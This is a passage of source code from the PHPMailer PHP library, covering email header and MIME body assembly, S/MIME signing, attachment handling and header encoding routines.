                $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'
            )
            and count($this->bcc) > 0
        ) {
            $result .= $this->addrAppend('Bcc', $this->bcc);
        }

        if (count($this->ReplyTo) > 0) {
            $result .= $this->addrAppend('Reply-To', $this->ReplyTo);
        }

        // mail() sets the subject itself
        if ($this->Mailer != 'mail') {
            $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
        }

        // Only allow a custom message ID if it conforms to RFC 5322 section 3.6.4
        // https://tools.ietf.org/html/rfc5322#section-3.6.4
        if ('' != $this->MessageID and preg_match('/^<.*@.*>$/', $this->MessageID)) {
            $this->lastMessageID = $this->MessageID;
        } else {
            $this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->serverHostname());
        }
        $result .= $this->headerLine('Message-ID', $this->lastMessageID);
        if (!is_null($this->Priority)) {
            $result .= $this->headerLine('X-Priority', $this->Priority);
        }
        if ($this->XMailer == '') {
            $result .= $this->headerLine(
                'X-Mailer',
                'PHPMailer ' . $this->Version . ' (https://github.com/PHPMailer/PHPMailer)'
            );
        } else {
            $myXmailer = trim($this->XMailer);
            if ($myXmailer) {
                $result .= $this->headerLine('X-Mailer', $myXmailer);
            }
        }

        if ($this->ConfirmReadingTo != '') {
            $result .= $this->headerLine('Disposition-Notification-To', '<' . $this->ConfirmReadingTo . '>');
        }

        // Add custom headers
        foreach ($this->CustomHeader as $header) {
            $result .= $this->headerLine(
                trim($header[0]),
                $this->encodeHeader(trim($header[1]))
            );
        }
        if (!$this->sign_key_file) {
            $result .= $this->headerLine('MIME-Version', '1.0');
            $result .= $this->getMailMIME();
        }

        return $result;
    }

    /**
     * Get the message MIME type headers.
     * @access public
     * @return string
     */
    public function getMailMIME()
    {
        $result = '';
        $ismultipart = true;
        switch ($this->message_type) {
            case 'inline':
                $result .= $this->headerLine('Content-Type', 'multipart/related;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            case 'attach':
            case 'inline_attach':
            case 'alt_attach':
            case 'alt_inline_attach':
                $result .= $this->headerLine('Content-Type', 'multipart/mixed;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            case 'alt':
            case 'alt_inline':
                $result .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            default:
                // Catches case 'plain': and case '':
                $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
                $ismultipart = false;
                break;
        }
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($this->Encoding != '7bit') {
            // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
            if ($ismultipart) {
                if ($this->Encoding == '8bit') {
                    $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');
                }
                // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
            } else {
                $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
            }
        }

        if ($this->Mailer != 'mail') {
            $result .= $this->LE;
        }

        return $result;
    }

    /**
     * Returns the whole MIME message.
     * Includes complete headers and body.
     * Only valid post preSend().
     * @see PHPMailer::preSend()
     * @access public
     * @return string
     */
    public function getSentMIMEMessage()
    {
        return rtrim($this->MIMEHeader . $this->mailHeader, "\n\r") . self::CRLF . self::CRLF . $this->MIMEBody;
    }

    /**
     * Create unique ID
     * @return string
     */
    protected function generateId() {
        return md5(uniqid(time()));
    }

    /**
     * Assemble the message body.
     * Returns an empty string on failure.
     * @access public
     * @throws phpmailerException
     * @return string The assembled message body
     */
    public function createBody()
    {
        $body = '';
        //Create unique IDs and preset boundaries
        $this->uniqueid = $this->generateId();
        $this->boundary[1] = 'b1_' . $this->uniqueid;
        $this->boundary[2] = 'b2_' . $this->uniqueid;
        $this->boundary[3] = 'b3_' . $this->uniqueid;

        if ($this->sign_key_file) {
            $body .= $this->getMailMIME() . $this->LE;
        }

        $this->setWordWrap();

        $bodyEncoding = $this->Encoding;
        $bodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
            $bodyEncoding = '7bit';
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $bodyCharSet = 'us-ascii';
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the body part only
        if ('base64' != $this->Encoding and self::hasLineLongerThanMax($this->Body)) {
            $bodyEncoding = 'quoted-printable';
        }

        $altBodyEncoding = $this->Encoding;
        $altBodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
            $altBodyEncoding = '7bit';
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $altBodyCharSet = 'us-ascii';
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the alt body part only
        if ('base64' != $altBodyEncoding and self::hasLineLongerThanMax($this->AltBody)) {
            $altBodyEncoding = 'quoted-printable';
        }
        //Use this as a preamble in all multipart message types
        $mimepre = "This is a multi-part message in MIME format." . $this->LE . $this->LE;
        switch ($this->message_type) {
            case 'inline':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[1]);
                break;
            case 'attach':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                if (!empty($this->Ical)) {
                    $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
                    $body .= $this->encodeString($this->Ical, $this->Encoding);
                    $body .= $this->LE . $this->LE;
                }
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_inline':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt_inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[2]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[3]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            default:
                // Catch case 'plain' and case '', applies to simple `text/plain` and `text/html` body content types
                //Reset the `Encoding` property in case we changed it for line length reasons
                $this->Encoding = $bodyEncoding;
                $body .= $this->encodeString($this->Body, $this->Encoding);
                break;
        }

        if ($this->isError()) {
            $body = '';
        } elseif ($this->sign_key_file) {
            try {
                if (!defined('PKCS7_TEXT')) {
                    throw new phpmailerException($this->lang('extension_missing') . 'openssl');
                }
                // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1
                $file = tempnam(sys_get_temp_dir(), 'mail');
                if (false === file_put_contents($file, $body)) {
                    throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
                }
                $signed = tempnam(sys_get_temp_dir(), 'signed');
                //Workaround for PHP bug https://bugs.php.net/bug.php?id=69197
                if (empty($this->sign_extracerts_file)) {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
                        null
                    );
                } else {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
                        null,
                        PKCS7_DETACHED,
                        $this->sign_extracerts_file
                    );
                }
                if ($sign) {
                    @unlink($file);
                    $body = file_get_contents($signed);
                    @unlink($signed);
                    //The message returned by openssl contains both headers and body, so need to split them up
                    $parts = explode("\n\n", $body, 2);
                    $this->MIMEHeader .= $parts[0] . $this->LE . $this->LE;
                    $body = $parts[1];
                } else {
                    @unlink($file);
                    @unlink($signed);
                    throw new phpmailerException($this->lang('signing') . openssl_error_string());
                }
            } catch (phpmailerException $exc) {
                $body = '';
                if ($this->exceptions) {
                    throw $exc;
                }
            }
        }
        return $body;
    }

    /**
     * Return the start of a message boundary.
     * @access protected
     * @param string $boundary
     * @param string $charSet
     * @param string $contentType
     * @param string $encoding
     * @return string
     */
    protected function getBoundary($boundary, $charSet, $contentType, $encoding)
    {
        $result = '';
        if ($charSet == '') {
            $charSet = $this->CharSet;
        }
        if ($contentType == '') {
            $contentType = $this->ContentType;
        }
        if ($encoding == '') {
            $encoding = $this->Encoding;
        }
        $result .= $this->textLine('--' . $boundary);
        $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
        $result .= $this->LE;
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($encoding != '7bit') {
            $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
        }
        $result .= $this->LE;

        return $result;
    }

    /**
     * Return the end of a message boundary.
     * @access protected
     * @param string $boundary
     * @return string
     */
    protected function endBoundary($boundary)
    {
        return $this->LE . '--' . $boundary . '--' . $this->LE;
    }

    /**
     * Set the message type.
     * PHPMailer only supports some preset message types, not arbitrary MIME structures.
     * @access protected
     * @return void
     */
    protected function setMessageType()
    {
        $type = array();
        if ($this->alternativeExists()) {
            $type[] = 'alt';
        }
        if ($this->inlineImageExists()) {
            $type[] = 'inline';
        }
        if ($this->attachmentExists()) {
            $type[] = 'attach';
        }
        $this->message_type = implode('_', $type);
        if ($this->message_type == '') {
            //The 'plain' message_type refers to the message having a single body element, not that it is plain-text
            $this->message_type = 'plain';
        }
    }

    /**
     * Format a header line.
     * @access public
     * @param string $name
     * @param string $value
     * @return string
     */
    public function headerLine($name, $value)
    {
        return $name . ': ' . $value . $this->LE;
    }

    /**
     * Return a formatted mail line.
     * @access public
     * @param string $value
     * @return string
     */
    public function textLine($value)
    {
        return $value . $this->LE;
    }

    /**
     * Add an attachment from a path on the filesystem.
     * Never use a user-supplied path to a file!
     * Returns false if the file could not be found or read.
     * Explicitly *does not* support passing URLs; PHPMailer is not an HTTP client.
     * If you need to do that, fetch the resource yourself and pass it in via a local file or string.
     * @param string $path Path to the attachment.
     * @param string $name Overrides the attachment name.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File extension (MIME) type.
     * @param string $disposition Disposition to use
     * @throws phpmailerException
     * @return boolean
     */
    public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
    {
        try {
            if (!self::isPermittedPath($path) or !@is_file($path)) {
                throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
            }

            // If a MIME type is not specified, try to work it out from the file name
            if ($type == '') {
                $type = self::filenameToType($path);
            }

            $filename = basename($path);
            if ($name == '') {
                $name = $filename;
            }

            $this->attachment[] = array(
                0 => $path,
                1 => $filename,
                2 => $name,
                3 => $encoding,
                4 => $type,
                5 => false, // isStringAttachment
                6 => $disposition,
                7 => 0
            );

        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
        return true;
    }

    /**
     * Return the array of attachments.
     * @return array
     */
    public function getAttachments()
    {
        return $this->attachment;
    }

    /**
     * Attach all file, string, and binary attachments to the message.
     * Returns an empty string on failure.
     * @access protected
     * @param string $disposition_type
     * @param string $boundary
     * @return string
     */
    protected function attachAll($disposition_type, $boundary)
    {
        // Return text of body
        $mime = array();
        $cidUniq = array();
        $incl = array();

        // Add all attachments
        foreach ($this->attachment as $attachment) {
            // Check if it is a valid disposition_filter
            if ($attachment[6] == $disposition_type) {
                // Check for string attachment
                $string = '';
                $path = '';
                $bString = $attachment[5];
                if ($bString) {
                    $string = $attachment[0];
                } else {
                    $path = $attachment[0];
                }

                $inclhash = md5(serialize($attachment));
                if (in_array($inclhash, $incl)) {
                    continue;
                }
                $incl[] = $inclhash;
                $name = $attachment[2];
                $encoding = $attachment[3];
                $type = $attachment[4];
                $disposition = $attachment[6];
                $cid = $attachment[7];
                if ($disposition == 'inline' && array_key_exists($cid, $cidUniq)) {
                    continue;
                }
                $cidUniq[$cid] = true;

                $mime[] = sprintf('--%s%s', $boundary, $this->LE);
                //Only include a filename property if we have one
                if (!empty($name)) {
                    $mime[] = sprintf(
                        'Content-Type: %s; name="%s"%s',
                        $type,
                        $this->encodeHeader($this->secureHeader($name)),
                        $this->LE
                    );
                } else {
                    $mime[] = sprintf(
                        'Content-Type: %s%s',
                        $type,
                        $this->LE
                    );
                }
                // RFC1341 part 5 says 7bit is assumed if not specified
                if ($encoding != '7bit') {
                    $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
                }

                if ($disposition == 'inline') {
                    $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
                }

                // If a filename contains any of these chars, it should be quoted,
                // but not otherwise: RFC2183 & RFC2045 5.1
                // Fixes a warning in IETF's msglint MIME checker
                // Allow for bypassing the Content-Disposition header totally
                if (!(empty($disposition))) {
                    $encoded_name = $this->encodeHeader($this->secureHeader($name));
                    if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $encoded_name)) {
                        $mime[] = sprintf(
                            'Content-Disposition: %s; filename="%s"%s',
                            $disposition,
                            $encoded_name,
                            $this->LE . $this->LE
                        );
                    } else {
                        if (!empty($encoded_name)) {
                            $mime[] = sprintf(
                                'Content-Disposition: %s; filename=%s%s',
                                $disposition,
                                $encoded_name,
                                $this->LE . $this->LE
                            );
                        } else {
                            $mime[] = sprintf(
                                'Content-Disposition: %s%s',
                                $disposition,
                                $this->LE . $this->LE
                            );
                        }
                    }
                } else {
                    $mime[] = $this->LE;
                }

                // Encode as string attachment
                if ($bString) {
                    $mime[] = $this->encodeString($string, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                } else {
                    $mime[] = $this->encodeFile($path, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                }
            }
        }

        $mime[] = sprintf('--%s--%s', $boundary, $this->LE);

        return implode('', $mime);
    }

    /**
     * Encode a file attachment in requested format.
     * Returns an empty string on failure.
     * @param string $path The full path to the file
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     * @throws phpmailerException
     * @access protected
     * @return string
     */
    protected function encodeFile($path, $encoding = 'base64')
    {
        try {
            if (!self::isPermittedPath($path) or !file_exists($path)) {
                throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
            }
            $magic_quotes = false;
            if( version_compare(PHP_VERSION, '7.4.0', '<') ) {
                $magic_quotes = get_magic_quotes_runtime();
            }
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime(false);
                } else {
                    //Doesn't exist in PHP 5.4, but we don't need to check because
                    //get_magic_quotes_runtime always returns false in 5.4+
                    //so it will never get here
                    ini_set('magic_quotes_runtime', false);
                }
            }
            $file_buffer = file_get_contents($path);
            $file_buffer = $this->encodeString($file_buffer, $encoding);
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime($magic_quotes);
                } else {
                    ini_set('magic_quotes_runtime', $magic_quotes);
                }
            }
            return $file_buffer;
        } catch (Exception $exc) {
            $this->setError($exc->getMessage());
            return '';
        }
    }

    /**
     * Encode a string in requested format.
     * Returns an empty string on failure.
     * @param string $str The text to encode
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     * @access public
     * @return string
     */
    public function encodeString($str, $encoding = 'base64')
    {
        $encoded = '';
        switch (strtolower($encoding)) {
            case 'base64':
                $encoded = chunk_split(base64_encode($str), 76, $this->LE);
                break;
            case '7bit':
            case '8bit':
                $encoded = $this->fixEOL($str);
                // Make sure it ends with a line break
                if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
                    $encoded .= $this->LE;
                }
                break;
            case 'binary':
                $encoded = $str;
                break;
            case 'quoted-printable':
                $encoded = $this->encodeQP($str);
                break;
            default:
                $this->setError($this->lang('encoding') . $encoding);
                break;
        }
        return $encoded;
    }

    /**
     * Encode a header string optimally.
     * Picks shortest of Q, B, quoted-printable or none.
     * @access public
     * @param string $str
     * @param string $position
     * @return string
     */
    public function encodeHeader($str, $position = 'text')
    {
        $matchcount = 0;
        switch (strtolower($position)) {
            case 'phrase':
                if (!preg_match('/[\200-\377]/', $str)) {
                    // Can't use addslashes as we don't know the value of magic_quotes_sybase
                    $encoded = addcslashes($str, "\0..\37\177\\\"");
                    if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
                        return ($encoded);
                    } else {
                        return ("\"$encoded\"");
                    }
                }
                $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                $matchcount = preg_match_all('/[()"]/', $str, $matches);
                // Intentional fall-through
            case 'text':
            default:
                $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
                break;
        }

        //There are no chars that need encoding
        if ($matchcount == 0) {
            return ($str);
        }

        $maxlen = 75 - 7 - strlen($this->CharSet);
        // Try to select the encoding which should produce the shortest output
        if ($matchcount > strlen($str) / 3) {
            // More than a third of the content will need encoding, so B encoding will be most efficient
            $encoding = 'B';
            if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
                // Use a custom function which correctly encodes and wraps long
                // multibyte strings without breaking lines within a character
                $encoded = $this->base64EncodeWrapMB($str, "\n");
            } else {
                $encoded = base64_encode($str);
                $maxlen -= $maxlen % 4;
                $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
            }
        } else {
            $encoding = 'Q';
            $encoded = $this->encodeQ($str, $position);
            $encoded = $this->wrapText($encoded, $maxlen, true);
            $encoded = str_replace('=' . self::CRLF, "\n", trim($encoded));
        }

        $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded);
        $encoded = trim(str_replace("\n", $this->LE, $encoded));

        return $encoded;
    }

    /**
     * Check if a string contains multi-byte characters.
     * @access public
     * @param string $str multi-byte text to wrap encode
     * @return boolean
     */
    public function hasMultiBytes($str)
    {
        if (function_exists('mb_strlen')) {
            return (strlen($str) > mb_strlen($str, $this->CharSet));
        } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
            return false;
        }
    }

    /**
     * Does a string contain any 8-bit chars (in any charset)?
     * @param string $text
     * @return boolean
     */
    public function has8bitChars($text)
    {
        return (boolean)preg_match('/[\x80-\xFF]/', $text);
    }

    /**
     * Encode and wrap long multibyte strings for mail headers
     * without breaking lines within a character.
     * Adapted from a function by paravoid
     * @link http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283
     * @access public
     * @param string $str multi-byte text to wrap encode
     * @param string $linebreak string to use as linefeed/end-of-line
     * @return string
     */
    public function base64EncodeWrapMB($str, $linebreak = null)
    {
        $start = '=?' . $this->CharSet . '?B?';
        $end = '?=';
        $encoded = '';
        if ($linebreak === null) {
            $linebreak = $this->LE;
        }

        $mb_length = mb_strlen($str, $this->CharSet);
        // Each line must have length <= 75, including $start and $end
        $length = 75 - strlen($start) - strlen($end);
        // Average multi-byte ratio
        $ratio = $mb_length / strlen($str);
        // Base64 has a 4:3 ratio
        $avgLength = floor($length * $ratio * .75);

        for ($i = 0; $i < $mb_length; $i += $offset) {
            $lookBack = 0;
            do {
                $offset = $avgLength - $lookBack;
                $chunk = mb_substr($str, $i, $offset, $this->CharSet);
                $chunk = base64_encode($chunk);
                $lookBack++;
            } while (strlen($chunk) > $length);
            $encoded .= $chunk . $linebreak;
        }

        // Chomp the last linefeed
        $encoded = substr($encoded, 0, -strlen($linebreak));
        return $encoded;
    }

    /**
     * Encode a string in quoted-printable format.
     * According to RFC2045 section 6.7.
     * @access public
     * @param string $string The text to encode
     * @param integer $line_max Number of chars allowed on a line before wrapping
     * @return string
     * @link http://www.php.net/manual/en/function.quoted-printable-decode.php#89417 Adapted from this comment
     */
    public function encodeQP($string, $line_max = 76)
    {
        // Use native function if it's available (>= PHP5.3)
        if (function_exists('quoted_printable_encode')) {
            return quoted_printable_encode($string);
        }
        // Fall back to a pure PHP implementation
        $string = str_replace(
            array('%20', '%0D%0A.', '%0D%0A', '%'),
            array(' ', "\r\n=2E", "\r\n", '='),
            rawurlencode($string)
        );
        return preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string);
    }

    /**
     * Backward compatibility wrapper for an old QP encoding function that was removed.
     * @see PHPMailer::encodeQP()
     * @access public
     * @param string $string
     * @param integer $line_max
     * @param boolean $space_conv
     * @return string
     * @deprecated Use encodeQP instead.
     */
    public function encodeQPphp(
        $string,
        $line_max = 76,
        /** @noinspection PhpUnusedParameterInspection */ $space_conv = false
    ) {
        return $this->encodeQP($string, $line_max);
    }

    /**
     * Encode a string using Q encoding.
     * @link http://tools.ietf.org/html/rfc2047
     * @param string $str the text to encode
     * @param string $position Where the text is going to be used, see the RFC for what that means
     * @access public
     * @return string
     */
    public function encodeQ($str, $position = 'text')
    {
        // There should not be any EOL in the string
        $pattern = '';
        $encoded = str_replace(array("\r", "\n"), '', $str);
        switch (strtolower($position)) {
            case 'phrase':
                // RFC 2047 section 5.3
                $pattern = '^A-Za-z0-9!*+\/ -';
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                // RFC 2047 section 5.2
                $pattern = '\(\)"';
                // intentional fall-through
                // for this reason we build the $pattern without including delimiters and []
            case 'text':
            default:
                // RFC 2047 section 5.1
                // Replace every high ascii, control, =, ? and _ characters
                $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
                break;
        }
        $matches = array();
        if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
            // If the string contains an '=', make sure it's the first thing we replace
            // so as to avoid double-encoding
            $eqkey = array_search('=', $matches[0]);
            if (false !== $eqkey) {
                unset($matches[0][$eqkey]);
                array_unshift($matches[0], '=');
            }
            foreach (array_unique($matches[0]) as $char) {
                $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
            }
        }
        // Replace every spaces to _ (more readable than =20)
        return str_replace(' ', '_', $encoded);
    }

    /**
     * Add a string or binary attachment (non-filesystem).
     * This method can be used to attach ascii or binary data,
     * such as a BLOB record from a database.
     * @param string $string String attachment data.
     * @param string $filename Name of the attachment.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File extension (MIME) type.
     * @param string $disposition Disposition to use
     * @return void
     */
    public function addStringAttachment(
        $string,
        $filename,
        $encoding = 'base64',
        $type = '',
        $disposition = 'attachment'
    ) {
        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($filename);
        }
        // Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $filename,
            2 => basename($filename),
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => 0
        );
    }

    /**
     * Add an embedded (inline) attachment from a file.
     * This can include images, sounds, and just about any other document type.
     * These differ from 'regular' attachments in that they are intended to be
     * displayed inline with the message, not just attached for download.
     * This is used in HTML messages that embed the images
     * the HTML refers to using the $cid value.
     * Never use a user-supplied path to a file!
     * @param string $path Path to the attachment.
     * @param string $cid Content ID of the attachment; Use this to reference
     *        the content when using an embedded image in HTML.
     * @param string $name Overrides the attachment name.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File MIME type.
     * @param string $disposition Disposition to use
     * @return boolean True on successfully adding an attachment
     */
    public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
    {
        if (!self::isPermittedPath($path) or !@is_file($path)) {
            $this->setError($this->lang('file_access') . $path);
            return false;
        }

        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($path);
        }

        $filename = basename($path);
        if ($name == '') {
            $name = $filename;
        }

        // Append to $attachment array
        $this->attachment[] = array(
            0 => $path,
            1 => $filename,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => false, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }

    /**
     * Add an embedded stringified attachment.
     * This can include images, sounds, and just about any other document type.
     * Be sure to set the $type to an image type for images:
     * JPEG images use 'image/jpeg', GIF uses 'image/gif', PNG uses 'image/png'.
     * @param string $string The attachment binary data.
     * @param string $cid Content ID of the attachment; Use this to reference
     *        the content when using an embedded image in HTML.
     * @param string $name
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type MIME type.
     * @param string $disposition Disposition to use
     * @return boolean True on successfully adding an attachment
     */
    public function addStringEmbeddedImage(
        $string,
        $cid,
        $name = '',
        $encoding = 'base64',
        $type = '',
        $disposition = 'inline'
    ) {
        // If a MIME type is not specified, try to work it out from the name
        if ($type == '' and !empty($name)) {
            $type = self::filenameToType($name);
        }

        // Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $name,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }

    /**
     * Check if an inline attachment is present.
     * @access public
     * @return boolean
     */
    public function inlineImageExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'inline') {
                return true;
            }
        }
        return false;
    }

    /**
     * Check if an attachment (non-inline) is present.
     * @return boolean
     */
    public function attachmentExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'attachment') {
                return true;
            }
        }
        return false;
    }

    /**
     * Check if this message has an alternative body set.
     * @return boolean
     */
    public function alternativeExists()
    {
        return !empty($this->AltBody);
    }

    /**
     * Clear queued addresses of given kind.
     * @access protected
     * @param string $kind 'to', 'cc', or 'bcc'
     * @return void
     */
    public function clearQueuedAddresses($kind)
    {
        $RecipientsQueue = $this->RecipientsQueue;
        foreach ($RecipientsQueue as $address => $params) {
            if ($params[0] == $kind) {
                unset($this->RecipientsQueue[$address]);
            }
        }
    }

    /**
     * Clear all To recipients.
     * @return void
     */
    public function clearAddresses()
    {
        foreach ($this->to as $to) {
            unset($this->all_recipients[strtolower($to[0])]);
        }
        $this->to = array();
        $this->clearQueuedAddresses('to');
    }

    /**
     * Clear all CC recipients.
